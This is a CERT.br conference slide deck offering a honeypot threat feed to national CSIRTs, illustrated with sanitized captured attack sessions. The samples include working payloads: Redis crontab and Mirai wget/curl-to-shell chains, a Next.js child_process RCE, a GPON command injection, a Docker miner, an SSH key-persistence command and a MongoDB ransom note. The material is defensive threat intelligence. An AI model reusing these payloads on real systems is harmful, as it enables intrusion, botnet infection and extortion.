

CERT.br Threat Feeds for National CSIRTs

Klaus Steding-Jessen, Ph.D.
Technical Manager, CERT.br/NIC.br
jessen@cert.br

Cristine Hoepers, Ph.D.
General Manager, CERT.br/NIC.br
cristine@cert.br

NatCSIRT 2026
June 12th, 2026 – Denver, CO, USA

cert.br nic.br egi.br



Computer Emergency Response Team Brazil

National CSIRT of Last Resort

Services Provided to the Community

Incident Management

- ▶ Coordination
- ▶ Technical Analysis
- ▶ Mitigation and Recovery Support

Situational Awareness

- ▶ Data Acquisition
 - ▶ Distributed Honeypots
 - ▶ SpamPots
 - ▶ Threat feeds
- ▶ Information Sharing

Knowledge Transfer

- ▶ Awareness
 - ▶ Development of Best Practices
 - ▶ Outreach
- ▶ Training
- ▶ Technical and Policy Advisory

Affiliations and Partnerships:



SEI Partner Network



Mission

To increase the level of security and incident handling capacity of the networks connected to the Internet in Brazil.

Constituency

Any network that uses Internet Resources allocated by NIC.br

- IP addresses or ASNs allocated to Brazil
- domains under the ccTLD .br

Governance

Maintained by **NIC.br** – The National Internet Registry (NIR)

- not for profit
- all activities are funded by .br domain registration

NIC.br is the **executive branch of CGI.br** – The Brazilian Internet Steering Committee

- a multistakeholder organization
- with the purpose of coordinating and integrating all Internet service initiatives in Brazil

<https://cert.br/about/>
<https://cert.br/sobre/filicoes/>
<https://cert.br/about/rfc2350/>

Agenda

- Why a new feed and how it compares with others
- Source of the data being shared
- Examples of data captured by the listeners
- How to request access

Why a new feed?

We think the data from our honeypots could be useful for the community

- Possible uses for National CSIRTs
 - identification of compromised assets in your country
 - situational awareness of malicious activity originating from your country
- Only you can decide if it is valuable

Is it better than others?

It is... different

- Different vantage point
 - sensors **are not** in cloud/hosting IPs
 - hosted on universities, government, ISPs and private companies, including energy and financial sector
 - collected in honeypots hosted in Brazil and maintained by CERT.br
- IPv6 and TLS aware
- Listeners written in-house
 - data captured is different from open-source honeypots and network telescopes
- Average events/day: 13 million

About the honeypots

Run on BSD

- TLS aware and deployed in IPv4 and IPv6 IP ranges
- All data enrichment happens at capture time
 - DNS PTR, Source OS fingerprint, ASN, ASN name, CC

About the listeners

- Protocol Specific
 - listeners understand the protocols and record complete sessions
- Protocol Agnostic
 - listens on every UDP/TCP port
 - records all payload

Examples of data captured by the listeners

(IPs, ASes and hostnames were sanitized)

cert.br nic.br egi.br

Docker: Monero miner container creation

```
{
  "timestamp": 1766710972.0462928,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 43320,
  "src_ptr": "NXDOMAIN",
  "src_cc": "FR",
  "src_asn": <ASN>,
  "src_asname": "<SRC_ASN>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 2375,
  "session_id": 1585,
  "tls": null,
  "size": 734,
  "request": "POST /containers/create HTTP/1.1",
  "headers": {
    "Host": "<SENSOR_IP>:2375",
    "User-Agent": "python-requests/2.31.0",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Content-Length": "538",
    "Content-Type": "application/json"
  },
  "ascii": true,
  "data": "{\"Image\": \"metal3d/xmrig:latest\", \"Cmd\": [\"-o\", \"<IP>:3333\", \"--tls\", \"-o\", \"<IP>:443\", \"-o\", \"gulf.monerocean.stream:20128\", \"--tls\", \"-u\", \"<MONERO_WALLET>\", \"-p\", \"x\", \"--donate-level=1\", \"--cpu-max-threads-hint=100\"], \"HostConfig\": {\"Privileged\": true, \"RestartPolicy\": {\"Name\": \"always\"}, \"NetworkMode\": \"host\", \"CpuShares\": 1024, \"CpuCount\": 0, \"Memory\": 0, \"MemorySwap\": -1, \"OomKillDisable\": true, \"PidsLimit\": -1}}"
```

Redis: RCE via crontab overwrite

```
{
  "timestamp": 1769948866.723155,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 39236,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 6379,
  "session_id": 388,
  "tls": null,
  "size": 127,
  "ascii": true,
  "request":
  "*3\r\n$3\r\nset\r\n$7\r\nbackup2\r\n$94\r\n\r\n\r\n\r\n
*/3 * * * * wget -q -O- http://<IP>/plugins-
dist/safehtml/lang/font/kworker | sh\r\n\r\n\r\n"
}
```

```
{
  "timestamp": 1769915916.4124842,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 45544,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "FI",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 6379,
  "session_id": 366,
  "tls": null,
  "size": 126,
  "ascii": true,
  "request":
  "*3\r\n$3\r\nset\r\n$7\r\nbackup3\r\n$93\r\n\r\n\r\n\r\n
*/4 * * * * curl -fsSL http://<IP>/plugins-
dist/safehtml/lang/font/kworker | sh\r\n\r\n\r\n"
}
```

React Exploit

TLP:CLEAR

```
{
  "timestamp": 1769913916.4011025,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 51688,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "NL",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 3001,
  "session_id": 708184,
  "tls": null,
  "size": 1488,
  "ascii": true,
  "data": "POST / HTTP/1.1\r\nHost: <SENSOR_IP>:3001\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 1251\r\nAccept:
  /*\r\nConnection: close\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\r\nNext-Action:
  x\r\nAccept-Encoding: gzip\r\n\r\n-----WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
  name=\"0\"\r\n\r\n\r\n\"$1\"\r\n-----WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
  name=\"1\"\r\n\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"\\\"then\\\"\":\\\"$4:map\\\"\",\\
  \\\"0\\\"\":{\\\"then\\\"\":\\\"$B3\\\"},{\\\"length\\\"\":1}}\",\"then\":\"$2:then\"}\r\n-----WebKitFormBoundaryReactCVE\r\nContent-
  Disposition: form-data; name=\"2\"\r\n\r\n\r\n\"$@3\"\r\n-----WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
  name=\"3\"\r\n\r\n\r\n\r\n\r\n-----WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n\r\n[]\r\n-----
  WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data;
  name=\"5\"\r\n\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constru
  ctor\"},\"_prefix\":\"(function(){\\n
  try {\\n
  var res =
  process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp; rm -rf *; wget http://<IP>:1/xd.x86; curl -O
  http://<IP>:1/xd.x86; chmod 777 xd.x86; ./xd.x86 nextjs\\\").toString();\\n
  console.log(\\\"\\\"\\n[+] RCE
  RESULT:\\\"\\n\\\" + res);\\n
  throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n
  } catch(e) {\\n
  console.log(e);\\n
  throw e;\\n
  }\\n
  })()//\"}\r\n-----WebKitFormBoundaryReactCVE--\r\n"
}
```

SIP: call attempt

TLP:CLEAR

```
{
  "timestamp": 1768870809.4585543,
  "family": "inet",
  "proto": "UDP",
  "src_ip": "<SRC_IP>",
  "src_port": 63763,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": null,
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 5060,
  "session_id": null,
  "tls": null,
  "size": 876,
  "request": "INVITE sip:<PHONE_NUMBER>@<SENSOR_IP> SIP/2.0\r\nTo: <sip:<PHONE_NUMBER>@<SENSOR_IP>>\r\nFrom:
<sip:101@<SENSOR_IP>>;tag=e5f4a9299136e4f7a\r\nVia: SIP/2.0/UDP <SRC_IP>:63763;branch=z9hG4bK-d87543-
936285253-1--d87543-;received=<SRC_IP>;rport=63763\r\nCall-ID: e5f4a929913778e4f7a\r\nCSeq: 1
INVITE\r\nContact: <sip:101@<SRC_IP>:63763>\r\nExpires: 3600\r\nMax-Forwards: 70\r\nAllow: INVITE, ACK,
CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO\r\nUser-Agent: Asterisk PBX 20.0.0\r\nContent-
Type: application/sdp\r\nContent-Length: 341\r\n\r\nv=0\r\no=- 2440068981 1 IN IP4
<SRC_IP>\r\ns=SDK_AmroTls\r\nc=IN IP4 <SRC_IP>\r\nt=0 0\r\nm=audio 63764 RTP/AVP 8 0 3 9 18
101\r\na=rtpmap:8 PCMA/8000\r\na=rtpmap:0 PCMU/8000\r\na=rtpmap:3 GSM/8000\r\na=rtpmap:9
G722/8000\r\na=rtpmap:18 G729/8000\r\na=fmtp:18 annexb=yes\r\na=rtpmap:101 telephone-
event/8000\r\na=fmtp:101 0-16\r\na=ssrc:2513795048\r\na=sendrecv\r\n\r\n"
}
```

MongoDB: ransomware malware

TLP:CLEAR

```
{
  "timestamp": 1769972796.4233637,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 40440,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 27017,
  "session_id": 2434,
  "tls": null,
  "size": 108,
  "request": {
    "dropDatabase": 1,
    "comment": null,
    "lsid": {
      "id": "<LSID>"
    },
    "$db": "local"
  }
}
```

```
{
  "timestamp": 1769972796.4233637,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 40440,
  "src_ptr": "NXDOMAIN",
  "src_cc": "GB",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 27017,
  "session_id": 2434,
  "tls": null,
  "size": 529,
  "request": {
    "insert": "README",
    "ordered": true,
    "lsid": {
      "id": "<LSID>"
    },
    "$db": "READ_ME_TO_RECOVER_YOUR_DATA",
    "_id": "<ID>",
    "content": "All your data is backed up. You must pay 0.0064 BTC to
<WALLET> In 48 hours, your data will be publicly disclosed and
deleted. (more information: go to http://<URL>)After paying send mail
to us: <ATTACKER>+<DB_CODE>@onionmail.org and we will provide a link
for you to download your data. Your DBCODE is: <DB_CODE>"
  }
}
```

Fortinet VPN Brute Force

TLP:CLEAR

```
{
  "timestamp": 1781278273.7913477,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 42610,
  "src_ptr": "NXDOMAIN",
  "src_cc": "CA",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 9443,
  "session_id": 39311,
  "tls": "TLSv1.3 / TLS_AES_256_GCM_SHA384",
  "size": 455,
  "request": "POST /remote/logincheck HTTP/1.1",
  "headers": {
    "Accept": "application/json, text/plain, */*",
    "Content-Type": "application/x-www-form-urlencoded;charset=utf-8",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0",
    "Accept-Encoding": "identity",
    "Pragma": "no-cache",
    "Cache-Control": "no-store, no-cache, must-revalidate",
    "If-Modified-Since": "Sat, 1 Jan 2000 00:00:00 GMT",
    "Content-Length": "54",
    "Host": "<SENSOR_IP>:9443",
    "Connection": "close"
  },
  "ascii": true,
  "data": "ajax=1&username=landon&realm=&credential=landon%402026"
}
```

DNS Over TLS (DoT)

TLP:CLEAR

```
{
  "timestamp": 1769158111.2423546,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 54090,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "US",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 853,
  "session_id": 449,
  "tls": "TLSv1.3 / TLS_AES_256_GCM_SHA384",
  "size": 30,
  "request": {
    "id": 6,
    "answer": 0,
    "opCode": "QUERY",
    "recDes": 1,
    "recAv": 0,
    "auth": 0,
    "rCode": 0,
    "trunc": 0,
    "maxSize": 0,
    "authenticData": 0,
    "checkingDisabled": 0,
    "queries": [
      {
        "name": "version.bind",
        "type": "TXT",
        "cls": "CH"
      }
    ]
  },
  "answers": [],
  "authority": [],
  "additional": []
}
```

```
{
  "timestamp": 1769158116.8788893,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 59968,
  "src_ptr": "<SRC_PTR>",
  "src_cc": "US",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 853,
  "session_id": 450,
  "tls": "TLSv1.3 / TLS_AES_256_GCM_SHA384",
  "size": 12,
  "request": {
    "id": 0,
    "answer": 0,
    "opCode": "STATUS",
    "recDes": 0,
    "recAv": 0,
    "auth": 0,
    "rCode": 0,
    "trunc": 0,
    "maxSize": 0,
    "authenticData": 0,
    "checkingDisabled": 0,
    "queries": [],
    "answers": [],
    "authority": [],
    "additional": []
  }
}
```

Android Debug Bridge (ADB): Checking for Crypto Miner

```
{  
  "timestamp": "2026-05-13T05:16:16.234Z",  
  "family": "inet",  
  "src_ip": "<SRC_IP>",  
  "src_port": 39962,  
  "src_hostname": "NXDOMAIN",  
  "src_cc": "PA",  
  "src_asn": <ASN>,  
  "src_asname": "<AS_NAME>",  
  "src_os": "Linux 3.1-3.10",  
  "proto": "TCP",  
  "dst_port": 5555,  
  "session_id": 344,  
  "payload": {  
    "app_proto": "adb",  
    "size": 52,  
    "ascii": true,  
    "headers": "cmd: A_OPEN, arg0: 0x7d8, arg1: 0x00",  
    "data": "shell:pm path com.ufo.miner\u0000"  
  }  
}
```

ADB: Android trojan APK constructed using echo + base64

TLP:CLEAR

```
{
  "timestamp": "2026-05-13T02:10:39.656Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 37316,
  "src_hostname": "<SRC_PTR>",
  "src_cc": "PY",
  "src_asn": ASN,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 5555,
  "session_id": 189,
  "payload": {
    "app_proto": "adb",
    "size": 49990,
    "ascii": true,
    "headers": "cmd: A_OPEN, arg0: 0x46, arg1: 0x00",
    "data": "shell,v2:echo 'H4sIAAAAAAAAAA41 [...] GXFT4TMHAAA=' | base64 -d | gzip -d |
sh -s -- 'H4sIAAAAAAAAAAANY3ZVR [...] e21jV/691/AOG9XFnrRogAA' '41681'\\0"
  }
}
```

VirusTotal partial output:
Avast-Mobile: APK:RepMalware [Trj]
Kaspersky: HEUR:Trojan.AndroidOS.Piom.buky

Android Debug Bridge (ADB): Mirai variant

TLP:CLEAR

```
{
  "timestamp": 1767241748.0892634,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 57210,
  "src_ptr": "NXDOMAIN",
  "src_cc": "DE",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_ip": "<SENSOR_IP>",
  "dst_port": 5555,
  "session_id": 2874,
  "tls": null,
  "size": 1202,
  "header": "cmd: A_OPEN, arg0: 0x158, arg1: 0x00",
  "ascii": true,
  "data": "shell:cd /data/local/tmp/; rm *; busybox wget http://<IP>/arm.uhavenobotsxd; curl
http://<IP>/arm.uhavenobotsxd -O; chmod +x arm.uhavenobotsxd; ./arm.uhavenobotsxd android; busybox wget
http://<IP>/arm5.uhavenobotsxd; curl http://<IP>/arm5.uhavenobotsxd -O; chmod +x arm5.uhavenobotsxd;
./arm5.uhavenobotsxd android; busybox wget http://<IP>/arm6.uhavenobotsxd; curl http://<IP>/arm6.uhavenobotsxd -O;
chmod +x arm6.uhavenobotsxd; ./arm6.uhavenobotsxd android; busybox wget http://<IP>/arm7.uhavenobotsxd; curl
http://<IP>/arm7.uhavenobotsxd -O; chmod +x arm7.uhavenobotsxd; ./arm7.uhavenobotsxd android; busybox wget
http://<IP>/x86_32.uhavenobotsxd; curl http://<IP>/x86_32.uhavenobotsxd -O; chmod +x x86_32.uhavenobotsxd;
./x86_32.uhavenobotsxd android; busybox wget http://<IP>/mips.uhavenobotsxd; curl http://<IP>/mips.uhavenobotsxd -O;
chmod +x mips.uhavenobotsxd; ./mips.uhavenobotsxd android; busybox wget http://<IP>/mipsel.uhavenobotsxd; curl
http://<IP>/mipsel.uhavenobotsxd -O; chmod +x mipsel.uhavenobotsxd; ./mipsel.uhavenobotsxd android\u0000"
}
```

HTTP: Mozi variant exploiting CVE-2018-10562

```
{
  "timestamp": "2026-05-13T07:00:26.226Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 10564,
  "src_hostname": "<SRC_PTR>",
  "src_cc": "AR",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 80,
  "session_id": 1154,
  "payload": {
    "app_proto": "http",
    "size": 271,
    "ascii": true,
    "headers": "{\"Host\": \"127.0.0.1:80\", \"Connection\": \"keep-alive\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept\": \"*/.*\", \"User-Agent\": \"Hello, World\", \"Content-Length\": \"118\"}",
    "request": "POST /GponForm/diag_Form?images/ HTTP/1.1",
    "data":
      "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=` `;wget+http://<IP>:10041/Mozi.m+-
      0+->/tmp/gpon80;"
  }
}
```

Telnet: Mirai Variant (Probably Hailbot.c)

```
{
  "timestamp": "2026-05-13T05:35:03.184Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 11409,
  "src_hostname": "NXDOMAIN",
  "src_cc": "CO",
  "src_asn": ASN,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 23,
  "session_id": 42320,
  "payload": {
    "app_proto": "telnet",
    "size": 320,
    "ascii": true,
    "telnet_capable": true,
    "duration": 8.225369930267334,
    "creds": {
      "login": "admin",
      "password": "GeNeXiS@19"
    },
    "request": "[\\"sh\\",\\"shell\\",\\"enable\\",\\"system\\",\\"linuxshell\\",\\"ping; sh\\",\\"/bin/busybox
    RICHYLA\\",\\"/bin/busybox wget http://bins.<DOMAIN>/wget.sh -O- | sh\\",\\"/bin/busybox tftp -g bins.<DOMAIN> -
    r tftp.sh -l- | sh\\",\\"/bin/busybox ftpget bins.<DOMAIN> ftpget.sh ftpget.sh && sh ftpget.sh\\",\\"curl
    http://bins.<DOMAIN>/curl.sh -o- | sh\\"]"
  }
}
```

Telnet: compromise attempt via iDRAC default credentials

```
{
  "timestamp": "2026-05-13T02:25:49.134Z",
  "family": "inet",
  "src_ip": "<SRC_IP>",
  "src_port": 54828,
  "src_hostname": "NXDOMAIN",
  "src_cc": "VE",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "proto": "TCP",
  "dst_port": 23,
  "session_id": 11954,
  "payload": {
    "app_proto": "telnet",
    "size": 46,
    "ascii": true,
    "telnet_capable": true,
    "duration": 29.15027618408203,
    "creds": {
      "login": "root",
      "password": "calvin"
    },
    "request": "[\"enable\", \"system\", \"shell\", \"sh\", \"/bin/busybox boat\"]"
  }
}
```

SSH: brute force + adding authorized_keys for persistence

TLP:CLEAR

```
{
  "timestamp": 1778434015.19232,
  "family": "inet",
  "proto": "TCP",
  "src_ip": "<SRC_IP>",
  "src_port": 33597,
  "src_hostname": "NXDOMAIN",
  "src_cc": "BO",
  "src_asn": <ASN>,
  "src_asname": "<AS_NAME>",
  "src_os": "Linux 2.2.x-3.x [generic]",
  "dst_port": 2222,
  "session_id": 417,
  "creds": {
    "type": "password",
    "login": "ts3server",
    "credential": "123123"
  },
  "extra": {
    "banner": "SSH-2.0-libssh_0.12.0",
    "channel": "session:exec",
    "timeout": false,
    "duration": 0.5160679817199707
  },
  "request": [
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa <SSH_KEY> mdrfckr\">>.ssh/authorized_keys && chmod -R
go= ~/.ssh && cd ~"
  ]
}
```

Mapping IPv6 SSH Servers

```
{  
  "timestamp": 1769650544.62246,  
  "family": "inet6",  
  "proto": "TCP",  
  "src_ip": "xxxx:xxx:24c::7:70",  
  "src_port": 48436,  
  "src_ptr": "TIMEOUT",  
  "src_cc": "CN",  
  "src_asn": <ASN>,  
  "src_asname": "<AS_NAME>",  
  "src_os": "empty",  
  "dst_ip": "<SENSOR_IP>",  
  "dst_port": 22,  
  "session_id": 0,  
  "tls": null,  
  "size": 0,  
  "ascii": true,  
  "data": null  
}
```

How to Request a Feed

cert.br nic.br egi.br

How National CSIRTs can request access

- Send an email to `<feeds@cert.br>`
- We aggregate the IPs according to CC provided by the MaxMind
- You need to provide
 - a PGP public key
 - the IP address that will download the feed
- You'll receive
 - the credentials (PGP encrypted)
 - a dedicated link to a daily file (UTC)
 - with hourly additions

Thank You!

@ Feed requests to: feeds@cert.br

@ Incident reports to: cert@cert.br

X [@certbr](https://twitter.com/certbr)

<https://cert.br/>

nic.br **cgi.br**

www.nic.br | www.cgi.br